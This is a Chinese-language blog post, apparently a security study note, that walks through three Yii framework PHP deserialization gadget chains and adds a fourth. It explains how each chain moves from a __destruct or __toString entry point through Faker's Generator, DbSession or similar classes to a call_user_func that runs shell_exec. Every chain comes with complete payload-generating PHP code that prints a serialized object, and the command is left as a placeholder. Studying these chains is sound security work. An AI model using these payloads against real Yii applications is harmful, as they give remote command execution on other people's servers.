YII框架的三条经典利用链的探究

利用链一

BatchQueryResult出发,关键源码:(下文关于类的代码都只保留了关键部分)

屏幕截图 2025-12-07 162742
可以看到reset()方法里面的

$this->_dataReader->close();

是可控的,并且在调用__destruct()会直接指向reset();方法

不难想到可以让_dataReader替换为拥有__call方法,并且不含close()方法的对象,这样就能去触发__call方法,从而让利用链延续

$this->_dataReader=new Generator();

利用链条的第二环,Generator

关键源码为

屏幕截图 2025-12-07 174037

经过起始链对对象的操作,也就等价于运行
屏幕截图 2025-12-07 174151

而该部分的

return call_user_func_array($this->formatters['close'], []);$this->formatters['close']是可控的

而且call_user_func_array()是一个重要的可利用函数,作用是:调用一个回调函数,并将一个参数数组传递给它。

回调函数就是一个被当做参数给另一个函数的函数。

到这里,通过起始链的要求,找到的这条链子,有极高的自由度,只需要再找到一个拥有RCE特征的方法的对象即可收尾

$this->formatters['close'] = [new IndexAction(), 'run'];

利用链的第三环,IndexAction

屏幕截图 2025-12-07 175916

该对象的checkAccessid都是可控的

而且作用容器是call_user_func() call_user_func('x','y')就是把右边作为左边的输入

只需要把checkAccess改为shell_exec id改为需要执行的命令就行

$this->checkAccess = 'shell_exec';

      `  $this->id = '命令执行语句'; ` 

最终的利用链条就是

点击查看代码
<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = '命令执行语句';  		
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo serialize(new BatchQueryResult());
}
——————————————————————————

利用链二

Swift_KeyCache_DiskKeyCache出发

屏幕截图 2025-12-07 182633

$this->path . "/" . $item['is'];容易让人联想到__tosting方法,当一个对象被当做字符串调用的时候,会自动触发该对象的__tostring方法

需要寻找一个对象,其拥有__tosting方法且能够以被利用
$this->path = new See;

利用链的第二环,See

屏幕截图 2025-12-07 183645

return (string) $this->description;的意思是强制将$this->description;转换为字符串,并返回结果

如果目标是对象,且定义了__tosting方法,则会调用;没有定义__toString() 且没有定义 __call() PHP 抛出致命错误,行为终止。

这里利用对象的__call方法(要是利用__tostring干嘛不直接放第二环)

$this->description = new Generator();

利用链的第三环,Generator

这个类在利用链一出现过,不多赘述

主要利用了call_user_func_array()的灵活性,去衔接一个有RCE特征的对象

$this->formatters['render'] = [new CreateAction(), 'run'];

利用链的第四环,CreateAction

屏幕截图 2025-12-07 190228

有没有似曾相识的感觉?和IndexAction的run()方法的效果完全一致!两个不同的类出现相同的方法也并不奇怪

$this->checkAccess = 'shell_exec';

        `$this->id = '执行语句';`

最终的利用链就是

点击查看代码
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = '执行语句';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){

            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "yes"=>array("is"=>"wind")
            );
        }
    }
   
    echo serialize(new Swift_KeyCache_DiskKeyCache());
}
?>
——————————————————————————

利用链三

BatchQueryResult出发

BatchQueryResult的代码与利用链一的完全一致

$this->_dataReader=new DbSession();

利用链的第二环,DbSession

屏幕截图 2025-12-07 192304

不同于利用链条一,不需要再借助__call方法去作为跳板,而是在第二环调用同为close()的方法
而这个close()方法的writeCallbackgetId()都是可控的,接收函数还是call_user_func(),虽然另外接收了两个参数,但是在php里,函数在接收多余参数时不会报错

于是直接$this->writeCallback=[new IndexAction(),'run'];即可运行run()方法

继续对run方法赋值

$this->checkAccess = 'shell_exec';

$this->id = '执行语句';

最终的利用链就是

点击查看代码
<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = '执行语句';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $this->writeCallback=[new IndexAction(),'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo serialize(new BatchQueryResult());
}

——————————————————————————————
再附一条比较常用的利用链

点击查看代码
<?php
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct()
        {
            $this->default = "执行语句";
        }
    }

    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct()
        {
            $this -> generator = new DefaultGenerator();
            $this -> validator = "shell_exec";
            $this -> maxRetries = 1;
        }
    }
}

namespace Codeception\Extension {
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this -> processes = [new ValidGenerator()];
        }
    }
}
namespace app\controllers {
    use Codeception\Extension\RunProcess;
    $a = new RunProcess();
    $res = serialize($a);
    echo $res;
}
posted @ 2025-12-07 19:55  yeswind野风  阅读(46)  评论(0)    收藏  举报